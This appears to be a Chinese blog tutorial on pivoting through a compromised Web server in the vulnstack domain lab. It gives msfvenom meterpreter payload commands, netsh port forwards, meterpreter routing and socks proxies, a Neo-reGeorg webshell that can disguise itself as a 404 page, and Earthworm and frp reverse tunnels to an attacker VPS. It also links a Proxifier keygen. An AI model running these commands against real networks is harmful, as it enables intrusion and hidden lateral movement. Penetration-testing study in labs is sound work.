前言
好久没写文章,刚学了点内网代理之类的内容,简单说一下,这里使用的是红日域渗透靶机,由于内网渗透的前提是已经拿下一台Web服务器或者任意的一台内网主机作为跳板机进一步对内网的其他主机进行渗透,由于内网的其他服务器并不完全是出网的,所以需要一台中转机帮我们做这个网络通信。这里就简单粗暴直接使用msf上线一台Web服务器,省略了前面的Web渗透过程。
环境搭建
靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
默认密码都是:hongrisec@2019
网络模式:域内网络则为仅主机模式,Win7公网环境则为Nat模式,可一切保持原来的网络配置,因为真实的环境都是千变万化的,主动适应不同的网段环境。
配置信息
DC:Win2008
ip:192.168.52.138
域内机器:Win2003
(这台机子貌似有点问题?有时候密码正确了也进不去系统。可能需要调整一下网络模式)
ip:192.168.52.141
Web:Win7
ip1:192.168.52.128(仅主机模式), ip2:192.168.30.180(NAT模式)
攻击机:Kali
ip:192.168.30.102(Nat模式)
msf上线一台Web服务器
kali生成msf木马
#Linux
反向连接:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=444 -f elf > shell.elf
正向连接:
msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > shell.elf
#Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe > shell.exe
msf使用/exploit/multi/handler模块
payload设置与木马生成的一致
开始监听,将shell.exe移动到Win7上面,并执行
成功上线
内网端口转发
这边潜潜使用渗透常用的3个端口进行实验,80、3389、3306
远程端口转发
简单来说,就是利用了防火墙将远端的端口映射到中间机子的端口,比如:把域控Win2008的80端口映射到中间机子的8080端口,然后攻击机访问中间机子的8080端口相当于访问了内网域控Win2008的80端口。
这边msf使用shell命令直接进入Win7的命令行
#在Win7上执行
#把本地的8080端口转发到远程的192.168.52.138的80端口
netsh interface portproxy add v4tov4 listenport=8080 connectport=80 connectaddress=192.168.52.138
#放行从本地8080端口进来的流量
netsh advfirewall firewall add rule name="8080" protocol=TCP dir=in localport=8080 action=allow
#查看防火墙配置(可看到具体规则等配置)
netsh firewall show config
#删除本地转发8080端口
netsh interface portproxy delete v4tov4 listenport=8080
#删除放行8080端口的防火墙策略
netsh advfirewall firewall delete rule name="8080"
访问Win7的8080端口即可成功访问到域控的80端口
尝试使用上面的命令把中间机的3399端口映射到远程域控端口3389
kali远程桌面命令
rdesktop 192.168.30.180:3399
开启mysql远程主机访问权限,在生产环境切记打开,本文主要以实验为主
use mysql;
#切记:以下的password代表mysql的root密码,请根据实际情况进行修改
grant all privileges on *.* to root@'%' identified by "<password>";
flush privileges;
select host,user,password from mysql.user;
尝试使用上面的命令把中间机的3306端口映射到远程域控端口3306
这里使用3306端口是因为中间机子没有数据库开启服务,要是怕混淆可以将本地端口修改其他端口。
本地端口转发
简单来说,就是kali攻击机通过中间机将域控的端口映射到kali攻击机的端口上,中间机不再映射域控端口,改为由kali进行映射,我们可以直接访问kali攻击机的映射端口也可直接访问到远程域控的资源,例如:将远程域控80端口映射到kali的8888端口。这样做的好处就是不需要中间机开放防火墙策略也能直接访问,相对来说省事一点把,直接在msf上操作就行,中间机相当于一个传话人了。
在msf上进行操作:
#将域控的80端口映射到kali的8888端口
portfwd add -l 8888 -p 80 -r 192.168.52.138
#将域控的3306端口映射到kali的3307端口
portfwd add -l 3307 -p 3306 -r 192.168.52.138
#将域控的3389端口映射到kali的3389端口
portfwd add -l 3389 -p 3389 -r 192.168.52.138
访问kali对应的端口也可达到上面的操作。
隧道代理
端口转发的操作还是太繁琐了一点,只适合临时打开对应的端口的场景下,要是需要打开大量的端口,这样一条条添加端口就 显得太累赘了。使用隧道代理的方式就可以直接访问内网主机的对应服务的资源,省去了端口转发的流程了。
到底什么是不出网?
不出网大多数是由于防火墙规则以及路由等原因导致的 主机不能访问特定外部端口或者IP(注意是主机往外访问不了,不是外面访问不了主机,很多人会理所当然的理解成主机不出网=与世隔绝) ,如果限定了ip白名单我们无能为力,如果只开放了特定的端口,我们可以对特定的出网端口进行探测和利用
msf代理
添加内网路由
#获取内网信息
run get_local_subnets
#添加52网段的路由
run autoroute -s 192.168.52.0/24
#查看添加的路由
run autoroute -p
#删除添加的路由
run autoroute -d -s 192.168.52.0/24
使用background命令将session后台运行
msf使用use auxiliary/server/socks_unc,设置sock代理
配置图如下
开始运行…
#配置代理服务器
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080#最后一行添加这段内容
尝试直接访问52.138域控服务器的80端口
proxychains4 curl -I 192.168.52.138
auxiliary/server/socks_unc有个弊端,不能在后台运行,这样的话,msf的其他功能都使用不了。
那么我们可以换个模块
msf使用use auxiliary/server/socks_proxy,这个模块的好处是不仅可以后台运行,而且还可以设置sock4和sock5不同版本。
使用方式和上面一致。
msf代理也有弊端,只能代理转发tcp的流量,所以,icmp和udp流量是转发不了的,远程桌面和mysql都不行,难过ing…
Web代理-Neg-reGeorg
代理工具:https://github.com/L-codes/Neo-reGeorg
生成webshell
#password填连接密码
python3 neoreg.py generate -k <password>
Win7开启Web服务
生成后根据Web服务器上传对应的Webshell文件,以PHP文件为例
#设置代理
vim /etc/proxychains4.conf
Web80端口成功访问
远程桌面3389端口成功访问
rdesktop 192.168.30.180:3399
MySQL3306成功访问
proxychains4 mysql -uroot -p'password' -h 192.168.52.138
特殊用法
#伪装404
python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
# 如需 Authorization认证和定制的Header或Cookie
python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
#需要分散请求,可上传到多个路径上,如内存马
python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
#使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
python neoreg.py -k <you_password> -u <url> -t <ip:port>
唯一的缺点就是得有Web服务器…
Earthworm工具
该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,官网已停止更新。
工具地址:https://github.com/z1un/ew
Windows客户端代理-proxifier
工具下载地址:https://www.proxifier.com/
破解工具下载地址:https://github.com/y9nhjy/Proxifier-Keygen
破解教程:https://blog.csdn.net/weixin_51280668/article/details/132309582
正向代理
有个内网资源,直接访问是访问不了,可以直接访问代理服务器,并且把需要访问的资源通过代理服务器进行访问,然后将响应传回,这个前提是可以访问代理服务器。
上传对应文件到被控制后的中间机
这里以上传exe为例
使用上面的msf上线方法执行命令
#开启代理服务器并监听1088端口
ew_for_win.exe -s ssocksd -l 1088
后面的操作基本与上面一致,不重复操作
反向代理
假设被控制的Web服务器没有公网IP(钓鱼横向),但是能访问公网,无法使用正向连接,可使用反弹连接的方式代理流量。 在攻击机Hack本地启动流量转发,将来自外部1080端口的流量转发到本地8888端口,并等待目标反弹连接。可以在公网上搭建vps服务器,让vps作为临时代理服务器,被控制的Web服务器将你需要访问的内网资源转发到公网的vps服务器上,然后直接访问将本机的客户端代理服务器设置为vps即可访问内网的资源。
vps服务器设置:
#攻击机设置代理服务器端口为vps的1080,被控制的web服务器设置vps的9999转发端口
./ew -s rcsocks -l 1080 -e 9999 #将1080端口收到的代理请求转发给反连9999端口的主机
被控制的web服务器设置
./ew -s rssocks -d <vps服务器地址> -e 9999
攻击机设置代理服务器为vps服务器地址的1080端口,即可访问内网服务器的资源
FRP工具
frp 是一款高性能的反向代理应用,专注于内网穿透。它支持多种协议,包括 TCP、UDP、HTTP、HTTPS 等,并且具备 P2P 通信功能。使用 frp,您可以安全、便捷地将内网服务暴露到公网,通过拥有公网 IP 的节点进行中转。
工具下载地址:https://github.com/fatedier/frp
反向代理
1、frp是有一个客户端,一个服务器端,首先配置服务器端的frp配置;frpc后面跟着一个c,大家应该知道是client的首字母,frps也是一样server;这样就容易理解所对应的文件是干嘛的了,frpc.ini和frps.ini分别对应客户端和服务器端的配置文件;
如果被控制的Web服务器和vps服务器的系统不一致,还需下载对应的版本。例如:vps是Linux则需要Linux版本的frps,被控制的Web服务器是Windows的则需要Windows版本的frpc,注意:客户端和服务端使用的配置是不一样的。
上传并配置vps的frps.toml文件
bindAddr = "0.0.0.0"
bindPort = 7000
webServer.addr = "0.0.0.0"
webServer.port = 7500
webServer.user = "admin"
webServer.password = "admin"
开启代理,等待被控制的web服务器连接
./frps -c frps.toml
上传并配置被控制的web服务器的frpc.toml文件
serverAddr = "119.29.145.4"
serverPort = 7000
[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 1080
[proxies.plugin]
type = "socks5"
username = "socks5"
password = "socks5"
执行命令,并连接vps
./frpc -c frpc.toml